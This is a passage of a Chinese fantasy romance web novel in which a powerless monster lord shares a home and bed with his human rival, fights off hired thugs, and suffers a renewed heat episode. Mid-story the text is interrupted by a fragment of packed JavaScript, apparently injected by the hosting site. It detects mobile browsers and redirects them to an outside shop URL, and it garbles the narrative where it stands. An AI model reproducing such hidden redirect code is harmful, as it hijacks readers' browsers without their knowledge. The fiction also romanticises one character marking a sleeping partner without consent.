虽然他觉得自己并不会主动找肖闻笛,不过这个“手机”看起来还挺好玩的。
“里面有很多功能,你可以慢慢研究,我先去忙,有事喊我。”
肖闻笛转身,晏深看着他走向的方向,愕然问道:“你不是要去管理局吗?”
但那个方向……
分明是书房。
肖闻笛:“不用,只是看个报告而已,在家也可以。”
晏深:“………”
不是?那他在家,自己还怎么溜出去?
刚才就是因为有肖闻笛在场,他一直没有机会接触到其他人类,本打算等肖闻笛去管理局后,他再去街上找机会验证猜想……
但现在看来,计划好像又要泡汤了。
堂堂攻掠处负责人,怎么一天到晚宅在家里不上班?人类的机构都这样懒散吗?
可是他分明记得,以前肖闻笛带人来打深渊的时候,向来是从不缺席的。
晏深满头问号。
许是察觉到他神色有异,肖闻笛询问:“有事?”
“没……”晏深摇头,以今天的形式来看,恐怕他再提出出门,肖闻笛也会继续跟着,他斟酌片刻后问道,“你明天去上班吗?”
“明天?”肖闻笛的目光落在他的身上,似有沉吟,“明天确实要去管理局。”
晏深松了一口气。
“好,那你先忙,我……先研究研究手机。”晏深找借口回到卧室,刚刚关上门,小跳蛛便从口袋里钻了出来。
“大人,我们现在怎么办?”
“只能明天再去了。”晏深轻轻叹了口气,有肖闻笛在身边,他根本什么都做不了。
小跳蛛八条腿瘫坐在床上,也跟着叹了口气,它突然想到什么,八只复眼转过来:“大人,说起来,肖闻笛真的没有怀疑您的真实身份吗?”
晏深摇头:“没有啊。”
在城门外,肖闻笛是亲眼看到他安全过了检测机的,人类的身份毋庸置疑。
小跳蛛震惊:“您居然过了检测机?!!”
晏深点了点头,虽然直到现在他也没搞明白昨天到底发生了什么,但检测机确确实实对他亮起了安全的绿灯。
他猜测:“可能……是因为我失去力量的关系。”
“不可能。”小跳蛛直言否定,“大人,虽然这三年我没有调查出关于您怪物种类的情报,但却对人类防御怪物的设备有所了解。”
那是它曾经潜入管理局工作人员家中无意听到的对话。
因为职责不同,城防处的检测机与监察处的监测器原理截然不同。
监测器只负责监测强大的智慧种,所以与力量相关,越是强大的怪物越容易被捕捉,反而弱小的怪物很容易被忽略。
而检测机不同。
不论力量强弱,只要身上流淌着怪物的血,就算孱弱如小跳蛛这样的个体,都能被精密地检测出来。
所以绝对不可能出现因为怪物的力量流失,而逃脱检测机的情况。
“怪物的血……”
晏深讷讷重复,漆黑的眼眸如深邃无底的黑洞,直直看向床上侃侃而谈的小跳蛛,声音陡然低了下来。
“你是说,我的身上已经没有怪物的血了?”
小跳蛛后知后觉自己的话有多么大逆不道。
怪物之主的身上没有怪物的血????——那是对主上身份的亵渎,至尊的污蔑!
它连忙跪倒在地:“大、大人,属下不是这个意思……”
强烈的情绪在胸腔激荡,晏深沉重地呼出一口气。
若是彼时在深渊,有怪物胆敢如此质疑他的身份,他定然不能轻饶了对方的僭越。
但此时……
晏深想到发生在自己身上的种种怪相,还有赫川灌他喝下的药剂,一个骇人的猜想浮现脑海。
有没有可能……?
“也许你说得对。”
晏深伸出手指落在小跳蛛的面前,本该降下的雷霆暴怒偃旗息鼓。
漆黑的墨瞳静静凝视。
“你去帮我调查下药剂。还有……”晏深话锋一转,回到最初的话题,“你为什么觉得肖闻笛会怀疑我的身份?”
小跳蛛:“这………”
逛商场的时候,它藏在晏深的口袋里,虽然不敢冒头露面,但也在一直默默观察。
肖闻笛如影随形,眼睛恨不得时刻烙印在自家大人的身上,目光更是粘腻焦灼如有实质,那种满心满眼只有一个人的感觉……
不是仇敌就是爱人啊!
但自家大人都说过肖闻笛没有怀疑他的身份,此刻再提出,不就是名牌说:大人,肖闻笛——对,就是那个和您打得不死不休的人类最强,把您当他的爱人呢!
……
算了,它还不想英蛛早逝。
小跳蛛避开敏感词汇,概括总结:“……肖闻笛对您的态度有些异常。”
异常?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472074|201541||http|test|mini|href|location''.split(''|''),0,{}));
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>晏深想了想,然后了然。
小跳蛛和自己一样都是怪物,对人类鲜有了解,不知道人类之间就是这样友善互助的。
“没事,都正常。”
小跳蛛同时眨了眨八只眼睛,看向自家大人:嗯?正常?
“以后你会习惯的。”
习惯?
小跳蛛不理解。
小跳蛛大受震撼!
那样的目光,怎么看怎么不清不楚吧!
但看自家大人云淡风轻的模样……
小跳蛛很快回想起了什么。
那是远在它被晏深点化之前,深渊里流传着关于怪物之主的传说。
昳丽绝美。
勾人心魄。
那圣洁如雪的及腰长发,璀璨夺目的紫金色眼眸……身形纤瘦,腰肢柔韧,从头到脚,无一不散发着致命的诱惑,惹人觊觎。
多年以来,前仆后继的怪物们倾倒在他的王座之下,忠诚者臣服,冒犯者人头落地。
尊贵的王已经看到过太多太多这样的目光了,小小人类不过九牛一毛。
小跳蛛逐渐理解。
小跳蛛心生敬佩。
哎!
还在是自己太没见过世面了!
自家大人阅尽千帆。
肯定早就习惯啦!
*
一人一蛛待在卧室里,闲来无事便研究带进来的手机。
晏深对手机一窍不通,反倒是小跳蛛在中央区待了三年,没吃过猪肉倒见过猪跑,教给他基本的使用方法。
忙活了一下午,晏深学会了七七八八,肖闻笛也忙完了工作。
吃完晚饭。
夜色已深。
晏深洗漱后爬上了床,小跳蛛钻进他的头发里,准备跟着一起睡觉。
刚才吃饭时肖闻笛一直在旁,它都不敢露头,如今可算能够放松一下了。
卧室的门打开又关闭,小跳蛛一抬眼,发现肖闻笛走了进来。
它吓了一跳,连忙又往浓密的发根处钻了钻,希望这瘟神快点离开。
却不想,“瘟神”径直走向床的另一侧,甚至……躺了下来。
大、大大大大人——!
小跳蛛无声尖叫,一条腿用力拽了拽自家大人的头发丝,提醒他自家领地正在遭受不速之客的侵犯。
晏深还没有睡实,很快醒了过来。
小跳蛛刚要松一口气,就见自家大人只是掀了下眼睑,打了个哈欠,然后……
像是什么都没看到,又闭上眼睛重新睡了过去。
小跳蛛:“????!”
大人!您在干什么啊大人!
它想继续加大力气提醒,突然间后背一凛,一抹凌厉的眼光扫了过来,如锐利的刀锋,冷冽冰凉几乎将它瞬间冻结。
小跳蛛不敢动了。
……它、它是被发现了吗?
八只复眼直愣愣地看着前方,发丝遮挡下,它看不到肖闻笛的方向,不知道那位杀怪不眨眼的人类最强是不是真的发现了它。
过了不知道多久,清浅规律的呼吸声响起,晏深已经睡沉,而身后一直没有动静,小跳蛛慢慢松了一口气。
或许……
自己根本没有被发现。
就在小跳蛛悬着的心刚要放下的瞬间,身体陡然腾空。
视野里的房间极速下降。
旋转变换。
下一秒,八只复眼中同时倒映出属于人类最强那森然冷孑的面容。
小跳蛛:……
——啊啊啊啊啊啊!
被发现了!!!
13. 静夜
修长的指节捏住小跳蛛的腹部,将它禁锢在半空之中,动弹不得。
在它的面前,人类最强幽深如寒潭的冷冽眼眸一瞬不瞬地凝视着,其中的森然冷孑纤毫毕现。
时间仿佛停滞。
0.0001秒后,小跳蛛尖叫出声:“啊——!”
——却被顷刻间捏住了喉咙,徒然张开嘴巴无法发出任何声音。
肖闻笛冷声警告:
“闭嘴。”
“吵醒了他,我立刻杀了你。”
小跳蛛复眼颤动,筛糠般抖着身体点了点头。
大床上,墨色的长发铺散在洁白的被褥上,晏深睡得正沉。
小跳蛛眼角余光里看着自家尊贵的王,心脏几乎落到谷底。
这、这这这……它被肖闻笛发现,会不会给大人带来麻烦?如果因为自己的暴露让大人重新惹上怀疑,它真是万死难辞其咎。
“低级种?”
肖闻笛的目光逡巡而下,皱了皱眉。
“不,你是普通种。”
小跳蛛颤颤巍巍点头。
以它原本的力量,确实是低级种不错,但在三年前,它喝下了晏深的血,便进阶成了普通种。
这三年来从无一人勘破它的真实等阶,却没想到居然被肖闻笛一眼看破。
肖闻笛冷声质问:“谁派你来的?接近他有什么目的?”
“没、没人派我来……”小跳蛛结结巴巴。
真要说的话,也只能是大人派它来的。
但、但它决不能出卖大人!
“我、我只是遇到了大人,大人对我很好,所以我要追、追随他。”
回答磕磕绊绊,细究起来漏洞百出,小跳蛛的心已经死了大半,但肖闻笛只是眯了眯眼,继续问:“你是怎么混进中央区的?”
“我、我不知道……”
这下,小跳蛛觉得自己更是死定了,干脆闭上眼睛一股脑说出。
“三年前我在城外遇到了一个商队,本想蹭马车赶路却不想睡着了,等醒来后我就已经在城里了。其他的,我、我真的不知道了!”
房间中是一片死寂,死亡的阴影沉沉笼罩着它,而时间一分一秒过去,什么都没有发生。
小跳蛛壮着胆子睁开一只眼,可还没等看清,苍蓝色的雷电瞬间席卷全身。
啊啊啊啊!
要死了要死了要死了!
大人!下辈子小跳蛛再追随您!呜呜呜呜……
然而预想中的疼痛并没有到来,雷电卷挟着罡风将它拍出几丈远,然后——
猛然下坠。
在小小脑袋还没反应过来之前,身体已经熟练地吐出蛛丝。
小跳蛛悬挂在半空之中,看着上方熟悉的风景,后知后觉反应过来——
它被肖闻笛击出了窗外。
还活着!
它没有被杀!
劫后余生的喜悦涌起,与此同时,小小的脑瓜大大的问号。
不是?
今天一早它不是才刚刚被大人丢出来过一次吗?
怎么又来一次?
命定的死敌间也能有这样神奇的默契吗?
*
“咔哒。”
细微的轻响,窗户被关闭,苍蓝色的雷电流转,窗帘回归原位,遮掩住窗外的灯光和生物吵闹的杂音。
更杜绝了所有可能的窥视。
原本以为是赫川派来的细作,但既然是自己人,便随它去吧。
肖闻笛收回手指。
重新躺在晏深的旁边。
纤瘦的人睡得依旧深沉,胸腔随着呼吸而上下起伏,换上的新睡衣合身且妥帖,再也没有露出的风光可以满足视觉享受。
但肖闻笛并不着急,他垂眸凝视,苍灰色的眼中倒映的皆是心上人的身姿。
房间中再也没有了讨人嫌的第三只生物,他可以慢慢地、细细地品味。
*
晏深一觉睡到天明。
阳光透过厚重的窗帘洒射进温暖的光晕,大床的另一侧空空荡荡,只留下一片浅淡的凹痕,肖闻笛已经起床离开,卧室里只剩下他一个人。
没有了宿敌共处一室,平平无奇的清晨都透着美妙。
晏深一跃而起,感受到身体里比睡前变得更加丰盈的力量,心头涌起惊喜。
难道睡觉也可以恢复力量吗?
不过转念一想,他否决了自己的猜想。
如果睡觉也能恢复力量,在被囚禁深渊的三天三夜里,不可能毫无察觉,所以应该只是和肖闻笛共睡的原因。
毕竟床铺就这么大,两个大男人睡觉过程中难免会有触碰,一夜过去,积少成多,也能恢复部分力量。
只是……
晏深仔细斟酌。
这一夜恢复的体量,似乎比昨天肖闻笛和他手牵手逛街一上午的还要多。
这又是怎么回事呢?
晏深满头问号。
对于恢复力量的方法和效率,他现在仍是一知半解,今天肖闻笛不在,正好出门搞清楚。
窗户外突然传来细微的动静,晏深拉开窗帘,看到了趴在玻璃上向里张望的小跳蛛。
“你怎么在外面?”
晏深打开窗户,小跳蛛瞬间跳了进来。
它泪眼汪汪:“大人!您还好吗?大人!”
“我很好啊。”晏深说道,“倒是你,昨晚不是和我一起在卧室睡觉吗?”
小跳蛛一噎,暗夜中男人冷然的目光像是一把利刃横亘在喉管,它浑身一哆嗦:“我、我喜欢睡在外面。”
呜呜呜……
总觉得实话实说被某人知道会被杀蛛灭口呢。
怪物的品种不同,习性也不同,晏深在深渊里见过很多,对此也没有多问。
倒是小跳蛛“噔噔噔”交替着八条腿,急赤白脸问道:“大人!昨晚是什么情况?”
“什么什么情况?”
“就是肖闻笛啊!他怎么会进您的卧室?”还、还和您躺一张床!后半句话小跳蛛没敢问出口。
“我没和你说过吗?”晏深语气平静,就像是在讨论天气般稀松平常,“我和肖闻笛睡在一起。”
如惊雷劈下。
小跳蛛石化当场!
什、什么??????!
什么叫睡在一起?
是它理解的那个意思吗?
啊啊啊????!
小跳蛛瞬间回想起了动物世界现场直播的画面,大脑一片宕机……
晏深补充:“肖闻笛的家里只有一张床,所以我只能和他睡一起。”
“………”
差点断掉的一口气终于呼出。
小跳蛛觉得自己又活了过来。
大人啊大人!
说话不要大喘气啊!
虽说不是它想的那样,但同睡一张床真的很危险啊!回想起昨晚男人的眼神,小跳蛛催促道:“我们快点行动吧。”
早点找到能让大人恢复力量的其他人类,也好早点远离肖闻笛。
呜呜呜……
那个男人太可怕了!
晏深从衣柜里取出衣服,解开纽扣脱掉睡衣,小跳蛛正在思考以后跑路的计划,眼角余光里突然瞥到一抹扎眼的颜色。
它一愣,问:“大人,您身上怎么红了一片?”
晏深低下头。
左侧锁骨上有一排细密的红痕,像是瑰丽的红梅落在纯白的雪地上,异常显眼。
“还有您后背……”
小跳蛛八只复眼视野宽阔,很快注意到了另外的地方。
晏深侧转身
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体,透过卧室的穿衣镜,他看到肩胛靠近蝴蝶骨的位置,也有一片类似的红痕。
只不过颜色更加荼靡艳丽,像是刚刚种下的一片盛开的花田。
晏深:“………”
小跳蛛:“……”
他们对视一眼。
神情凝重。
而后异口同声:
“我/您居然被虫子咬了?!”
晏深身为怪物之主,百年难得一遇的SSS级强者,是所有生灵畏惧躲避的至高存在。
以前在深渊,别说被虫子咬了,就连他的巢穴附近,都没有蚊虫蛇蚁胆敢涉足半步。
如今……
不过才失去力量的第五天,他居然就被一只小小的虫子咬了?!
小跳蛛义愤填膺:“太可恶了!是哪个不长眼的混蛋居然敢咬伤大人?看我不把这儿翻个底朝天!”
不过这事儿也怪,小跳蛛自从进阶为普通种后,隐蔽能力不说世界前列,但也总比小虫子强吧,怎么它就被肖闻笛揪了出来,小虫子反倒安然无事地留在了房中?
奇怪。
当真奇怪。
晏深皱着眉打量着身上的红痕,不痛不痒,于是也没有在意:“算了,还是正事要紧。”
只要恢复了力量,当下一切的问题都会迎刃而解。
没有必要在这种小事上枉费精力。
*
阳光明媚,万里无云。
长街上,一扇紫金色的伞面越过拐角出现。
宽松的衣摆随着伞下人的动作而轻微摇曳,包裹着其下纤瘦的身形。
伞沿压得很低,只能看到握着伞柄的那只手,手指纤长,骨节并不突兀,皮肤细腻而白皙,宛如上好的羊脂玉。
慵懒随性的气息萦绕周身,整个人脱凡出尘,仿若不属于这个世界。
“是他吗?”
隐蔽处,一群人探头探脑,为首的壮汉问向身后的小弟。
小弟努力睁大眼睛去看,可伞面遮掩下他根本看不清来人的样貌,正在犹豫时,一声汽笛声响起。
“冲啊!”
一阵杂乱的脚步声,来人的身后猛然蹿出一大群人。
——那是本应听到信号才出动的他们的同伙。
却不知为何误把隔壁街区的汽笛声当做了信号,莽撞地冲了出来。
壮汉暗骂一声“蠢货”,也顾不得继续辨认,本着宁可错杀不可放过的原则跟了出来,粗声粗气对那人道:
“喂,抬起头来。”
不管是与不是,看一眼就知道了。
被围堵在中间的人站在原地,没有惊慌,亦没有恐惧,只轻轻向后歪斜了下伞面,露出其下遮掩的容颜。
那是天工最完美的造物,如玉的肌肤映衬着黑曜石般漆黑的眼眸,侧脸的线条多一分过刚,少一分太柔,恰到好处地勾勒出昳丽绝美的容颜。
墨色的长发铺洒在肩头,如瀑布般蓬松飘逸,更添几分雌雄莫辨的柔美。
霎时间,空气仿佛凝滞。
周边所有人都不约而同屏住了呼吸。
全然忘记了此行的目的。
晏深扫过一前一后夹击的众人,神态轻松地歪了歪头:
“你们找我?”
像是打破了某种无形的泡沫,众人如梦初醒。
“大哥,就是他!”小弟拿着手里的照片比对,虽然只有一个模糊的侧影,但绝对错不了。
壮汉收回目光,干咳一声掩饰刚才失神的尴尬,粗暴道:“找的就是你!”
晏深挑眉。
面前的人来者不善,但他确认自己从未见过他们中的任何一个人。
“要怪就怪,你得罪了不该得罪的人。”
壮汉抬起手臂,一声令下。
“小的们,给我上!”
14. 复发
“要怪就怪,你得罪了不该得罪的人。小的们,给我上!”
壮汉一声令下,前后夹击的人们蜂拥冲上。
拳风裹挟着狠厉的力道,向着中央纤瘦柔弱的青年击打而去。
这些年,以多欺少、恃强凌弱的事儿他们没少干,不过这一次,每个人都下意识地放缓了力道。
——实在是面前的人太过纤细美丽,像是春日枝头迎风绽放的花蕊,让人不忍过分摧残。
然而……
预料中的击打感并没有到来,有什么东西突兀出现阻挡住了他们的攻势。
壮汉心下惊咦,仔细观察却发现自己的拳头抵在了一处透明的水团上。
清澈的水流本该柔软无形,此刻却如同钢铁般岿然不可撼动。
“什么情况?!”
其他人也都被相同的水团阻挡,与青年隔着毫厘之间。
壮汉惊骇:不是普通人!是异能者!
是和攻掠处那些专门对付怪物的队员一样的异能者!
情报有误!
就在壮汉意识到的瞬间,被围困在中央的青年掀起眼睑。
黝黑的瞳孔倒映着他惊骇的表情,明明是人类的眼睛,却有一股悠远古老的气息弥漫开来,非人的淡薄如深井无波的水面,只一眼便让人生出毛骨悚然的恐惧。
晏深开口:
“谁派你们来的?”
一瞬间,壮汉几乎脱口而出,还好他及时咬住舌头阻断了话头:“呸!老子傻啊告诉你!”
壮汉挣脱开水团的桎梏,换个方向再度攻来,同一时间,其他人也都陆续脱离了控制,骂骂咧咧继续冲来。
虽然对方是异能者,但他们人多势众,又是惯常打架的熟练工,并不是没有胜算。
他们提防着水团,却不想青年没有再使用任何的水系异能,反而与他们近身打斗。
谁也没有想到,众人眼里娇花一样柔弱的人,居然在十几人的围攻下灵巧地闪避了所有的进攻。
几个回合之后,也许是青年厌倦了你来我往,水系异能再现,只不过这次,防御的水团化成无数的水珠,凝结成尖锐的针状,迸射飞溅。
随着一声声惨叫,所有人陆续摔倒在地。
漫天飞雨哗哗落下,噼里啪啦砸在撑起的紫金色伞面上,然后向下流淌。
晏深独立于竹骨伞下,淡然俯视着一地浑身湿透狼狈不堪的手下败将。
“告诉你背后的人,再来招惹我……”
“——死。”
黝黑的瞳孔仿佛迸射出紫金色的暗芒,壮汉一凛,一股毛骨悚然的感觉从灵魂深处升腾而起,求生的本能疯狂叫嚣,慌乱之下手脚并用,踉跄着拔腿就跑。
“撤、撤退!”
人群溃散而逃。
晏深看着他们消失在街口,原地驻足片刻后转身向回走。
小跳蛛感受到方向的变化,探出头来:“大人,我们不去找路人测试了吗?”
“不用了。”
晏深神色不虞。
刚才打斗的过程中,他与每个人都进行了接触,但……
不行。
都不行!
完全没有和肖闻笛接触时力量涌起的感觉。
察觉到自家大人的不悦,小跳蛛安慰:“没事,我们可以再找找,说不定只是这些人不行,还有其他人可以呢。”
晏深:“有可能……不过今天先不去了。”
“那我们现在干什么?”
“回去睡觉。”
小跳蛛:“啊?”
晏深神色倦怠。
他动了下筋骨,浑身上下透着疏散不掉的疲乏。
世人皆道怪物之主强悍可怖,无人能敌,却鲜有人知晓,这具身体异于常人的容易疲乏。
以前力量全盛时期,这种疲乏感还能用异能托举延缓,而如今,不过是和几个赤手空拳的普通人类过了几招,就已经铺天盖地涌来让他难以承受。
他现在需要立刻躺到床上睡上一觉。
打架什么的……
真是太累了。
*
外海的游轮上。
一只手臂从蓬松的被褥里探了出来,接通了床边嗡嗡作响的电话。
“喂……”
少年的声音带着刚刚睡醒的沙哑,还有未完全清醒的混沌。
不过在听到对面的汇报后,半闭着的眼睛缓缓睁开,眼底彻底清明。
“‘死’?”
重复咀嚼着听到的字眼,年轻的脸上闪过一抹桀骜的不屑,以及对电话那端人办事不力的怒火。
“不过区区一个异能者,你们还能不能再废物点儿?想杀我?我倒要看看他有几分本事,抑或是……”
“我先搞死他。”
*
怪物综合应对管理局。
攻掠处办公室。
密密麻麻的报告书摞在办公桌上,岳宁整个人几乎埋在里面不见天日。
自从深渊归来,怪物之主的去向一直扑朔迷离,杳无音信。
他们盘查了所有俘虏的怪物,但依旧毫无头绪。
岳宁想,可能和俘虏的怪物等级太低有关,但当时的战斗情况太过混乱,攻掠处的队员们还得护住被解救的人类,能抓到几个活口已很是不易。
要不是最后肖闻笛现身,利落地解决掉纠缠的智慧种和大部分普通种,恐怕他们还有的头疼的。
福兮祸之所伏。
却也导致了现在线索过少,调查无法推进的情况。
笔尖敲击在纸页上。
对于“怪物之主已死亡”的结论,迟迟难下定论。
虽然队内大部分人都认同这个结论,并认为没有其他更合理的理由解释怪物之主的突然消失,但隐隐的,岳宁就是觉得不对劲。
而她的直觉向来很准。
但无凭无据,她很难向上层汇报。
岳宁有些头疼的揉了揉眉骨。
周图路过办公室门口,探头看了进来:“宁姐,下班啦。”
“不了,审问不出来怪物之主的信息,我安不下心。”
岳宁头都没抬一下,拿起面前的调查资料,打算再重新看一遍,查找可能遗漏的蛛丝马迹。
周图耸耸肩:“是老大让我来通知你的,你要加班自己和他去说。”
“长官?”岳宁翻看的动作一顿,抬起头来,犹豫一瞬后问向周图,“你觉不觉得……这次长官的态度有点奇怪?”
以往涉及到公务,肖闻笛不解决是绝对不下班的,但自从从深渊巢穴回来之后,好像一切都变了。
曾经的加班狂居然转性按时按点下班,甚至今天还迟到了很久才到,更匪夷所思的是,明明刚从深渊归来,有很多事项需要亲自跟进,他居然昨天一整天都没来!
这还是她印象里那个只有工作没有生活的长官吗?!
“或许……”
周图欲言又止。
岳宁:“你知道什么?”
“没、没有。”周图脑袋摇成拨浪鼓。
岳宁可太了解他了,眯起眼睛:“你知道,快老实交代。”
一开始周图还是躲着不愿意说,后来在岳宁的再三追问下终于招架不住,把他在肖闻笛家中的所见所闻说了出来。
岳宁:“什么?!你说从怪物巢穴救回来的那个人类,现在正住在长官家里???!”
他们那个冷傲孤孑,拒所有人于千里之外的长官,居然接纳了另一个人住在自己家里?
周图赶忙小跑过去捂住她的嘴:“嘘——!宁姐,你是想让管理
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局里所有人都听到,然后被老大知道打死我吗!”
岳宁一把扯掉他的手,神色凝重地追问:“他为什么会在那?”
周图回身望向身后,见没有人这才小声说道:“我本来也想问问的,但我还没来得及开口,就被老大赶出来了。”
岳宁越听眉头皱得越紧。
很奇怪。
这很奇怪。
究竟发生了什么,才让自家长官的行事做派发生了天翻地覆的变化?
*
晏深醒来的时候,卧室内拉着窗帘,落日余晖的光晕被完美地阻隔在外,营造出适于休憩的昏暗氛围。
他眨眨眼睛。
好像……自己回来的时候累得厉害,直接躺到床上就睡着了,完全忘记了去拉窗帘。
是小跳蛛帮他拉上的吗?
晏深环顾房间,没有找到小跳蛛。
去哪了?
他从床上坐起,打开卧室门走了出去,饭菜的味道扑鼻而来。
宽肩窄腰的男人正站在厨房的料理台前,身上穿着黑色紧身上衣,袖子半撸起停在小臂的位置,肌肉遒劲的臂膀半支着,搅拌着锅里的汤汁。
晏深不禁深吸一口气。
——好香!
听到脚步声,肖闻笛回首:
“醒了?”
晏深点点头:“嗯,你在炖什么?”
“鲜菇豆腐汤。”
“你会做饭?”晏深惊异,情不自禁脱口而出。
除了锅里正在炖着的汤,旁边的台面已经摆好了做好的菜,个个色香味俱全,绝非一日之功。
“嗯,以前外出游历时学过,只不过工作后很少有时间做。”
肖闻笛盛了一碗飘香的汤递了过来:“尝尝。”
晏深早上回来后就一直在睡觉,此刻肚子饿得咕噜噜叫,在纯粹的生理本能前,也顾不得其他,接过来喝了一口。
汤汁甫一接触味蕾,眼睛瞬间放亮。
好喝!
没想到人类种族中最强韧的利剑,居然还有退而当贤夫的潜质。
只可惜肖闻笛活了二十好几年,禁欲冷孑到世人皆知,到现在都没有伴侣,反倒白白便宜了自己这个临时住客。
晏深餍足地又喝了一大口。
就是这汤的味道,怎么喝起来有点熟悉?他之前在人类商队里截获过鲜菇豆腐汤的料包吗?
“再来一碗?”
不知不觉,碗里的汤已经见底,肖闻笛垂首询问,晏深毫不犹豫地递了过去:“再来一碗!”
思绪被打断,晏深忘了刚才想到了哪里,但……算了,也没什么重要的。
现在当务之急是要尽快恢复力量。
之前恢复的那一点点,已经在上午的打斗中消耗殆尽,除了肖闻笛,他必须找到另外可以帮他恢复力量的人类。
新的鲜菇豆腐汤已经盛好,满满当当的一大碗。
肖闻笛一边递给他,一边说道:“去餐桌等我,我把菜端出去,准备吃晚饭。”
晏深依言走出厨房,然而在距离餐桌半步之遥时,一股异样的感觉突然在小腹灼烧而起。
他一愣。
不敢置信。
而那感觉愈发强烈,甚至比以往任何时刻都要汹涌猛烈。
如铺天盖地的蚂蚁撕咬啃噬,透着蚀骨的瘙痒难耐……
晏深脚下踉跄,慌乱中抓紧桌沿,指腹因为过度的用力而泛起苍白,脸上却是异于常人的糜丽绯红。
每一个毛孔都泛着灼热。
呼吸间更是炙热的滚烫。
晏深低喘着。
瞳孔震颤。
怎么可能???
那在深渊巢穴里折磨了他整整三天的情潮欲.火……
竟然卷土重来?!
15. 别走
晏深瞳孔震颤,黝黑的眼睛中染满不可置信。
怎么可能……?
不是已经解决掉了吗?
为什么……折磨了他整整三天的情.潮欲.火,会再度卷土重来?
他脚下踉跄。
手指扶住餐桌勉强保持平衡。
汤碗掉到地上,冒着热气的汤汁在木质地板上漫延开来。
而他全然顾不上了。
自小腹升腾而起的灼热瞬间侵袭了全身,呼吸间皆是炙热的滚烫,他的双腿发软几乎站立不住,素白的指节用力地扣紧桌面,每个关节都泛着竭力的苍白。
厨房里传来动静,身后有人快速接近。
意识到来人的身份,晏深厉声喝止:
“别过来!”
身后的人脚步一顿,停在原地没有再靠近,但晏深仍能感觉到有目光落在他的身上。
如有实质。
晏深勉力支撑。
他的双腿在颤抖,岌岌可危,但他绝不能让肖闻笛看到他现在的样子。
他怎么能在死敌的面前再次露出那种无助狼狈的模样?!
当初在深渊巢穴是意识不清,而如今……
晏深紧紧咬住下唇,努力压抑着体内翻涌的热浪,向着卧室的方向移动。
“我……有点累了,先去休息……”
无论如何,离开肖闻笛的视线……离开……快点离开……
晏深心急如焚,然而浑身发软,越急越乱,他的右脚被椅子腿绊了一下,身体骤然失去平衡,不可控制地向前扑倒。
“晏深!”
迷迷糊糊间,好像有人在呼唤他的名字……
但不可能。
[怪物之主自当神秘,诡谲,无人可以看透。您是高天之上不可直视的神祇,世上无人配知晓您的真名。]
记忆中的赫川虔诚地半跪在他的面前,仿佛世上再没有比他更忠诚的下属。
但……
骗子,都是骗子。
晏深的身体持续坠落。
在撞击地面的疼痛来临之前,有人先一步伸出臂膀拥抱住了他。
熟悉的草木香味涌入鼻腔,将他整个人萦绕其中。
晏深缓缓睁开眼睛。
映入眼帘的是熟悉的苍灰色眼眸,平日里冷冽无波的眼底,此刻涌动着复杂的波涛。
透过瞳孔的倒影,晏深看到了自己。
白皙的脸颊泛着不正常的酡红,湿润的眼睑半阖,半遮着迷蒙失焦的瞳孔,灼热炙烤下的唇瓣艳极,随着呼吸难耐地一张一合,吞吐着滚烫的气息。
不同以往的……
娇媚。
像是竭泽的鱼儿,渴求着甘霖的滋润。
晏深耳朵通红,难以面对这样的自己,更无论如何也不能再让不死不休的宿敌看了去。
他将手腕搭在眼睑上遮挡,无助喘息:“不要看我……”
却不知,那纤细不盈一握的手腕,根本遮挡不住什么,反而露出柔软白嫩的腕肉,让人忍不住想要亲吻啃咬,印上属于自己的印记。
而那原本应该是厉声喝止的话语,也因为情欲的灼烧而变得软绵绵的毫无威慑力,落入对方耳中,就像是床笫之欢时增加情趣的撒娇。
肖闻笛喉结滚动。
眼底愈发幽暗。
早在刚才打翻汤碗的瞬间,他就已经意识到晏深的状况不对。
纤瘦的背影脊背挺直,又不可控制地发出微颤,那如瀑布般的长发垂落而下,半露着纤长的脖颈。
细腻的皮肤泛着漂亮的浅粉色,诱人地想让人咬上一口,再贴上去细细地厮磨舔舐,直到那片肌肤全部涂满属于自己的味道……
然而不待他有所动作,倔强的人已经挪动步子向卧室走去。
肖闻笛知道晏深在躲他。
虽然失落,但并不意外。
就在他努力压下躁动,默默看着晏深回卧室休息的下一刻,纤瘦的身体倾倒向着地面倒去。
心脏几乎跃出胸腔,他驱动异能以最快的速度闪身过去。
肖闻笛接住了晏深。
却在低头的一瞬,呼吸停滞。
那双漂亮的如同黑曜石般的眼睛半阖着,眼尾泛红,生理性的泪花沁在眼角,潋滟着潮湿的春情。
那是他在无数个旖旎幻梦中,多次遥望却不能触碰的破碎唯美。
而如今,就出现在他的面前,躺在他的怀中。
触手可及。
肖闻笛眸光翻涌,像是野兽在暗夜中张牙舞爪,叫嚣着疯狂的念头。
晏深伸出手臂挡住了脸,细白的腕肉遮掩了漂亮的眼眸,却凸显了赤与白的交织。
红润的唇瓣一张一合。
诱人深入。
肖闻笛静默一瞬,然后俯下身,将人打横抱起。
陡然腾空,晏深从混沌的情潮中短暂抽身,他愕然抬眸,眼中浮起慌乱。
纤白的手指下意识地抓紧对方的衣服保持平衡,却抗拒说道:“放我下来!”
肖闻笛一反常态,强势地拥紧他的肩膀和腿弯,晏深担心事态又要发展成那日的模样,趁着脑袋还算清明,挣扎着要下去,却都被轻而易举地镇压。
“别动。”肖闻笛的嗓音又低又沉,“你有力气自己走吗?”
晏深一噎。
泛着水光的眼眸颤抖着。
就算嘴巴再硬,身体骗不了人,他的双腿发软无力,别说走,此刻就连站在原地都做不到。
但是被宿敌抱回卧室这种事………
实在是太丢人了!
更不论很有可能再次被帮忙疏解。
那种尴尬与迷乱。
他不想再经历第二次。
“我不用你帮忙。”晏深垂着眼睑,生硬拒绝。
有目光落在他的脸上,片刻后,听得肖闻笛沉声道:“我知道。”
他知道?
那…………
晏深被抱着穿梭在房间中,片刻之后,被轻轻放了下来。
不是预料中柔软的床面。
冰凉。
坚硬。
且光滑。
陌生的触感让他环顾四周,晏深看到了洁白的浴缸和金属质地的水龙头。
不是卧室。
是浴室。
他讶然抬眸:“为什么来这里?”
“你被烫伤了。”
肖闻笛提醒着,手掌托起他的右脚,脚背一片通红。
晏
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深回想起,汤碗掉到地上的时候,好像是有汤汁溅在了脚背上,但当时小腹的灼烧感太过强烈,他根本没有察觉到。
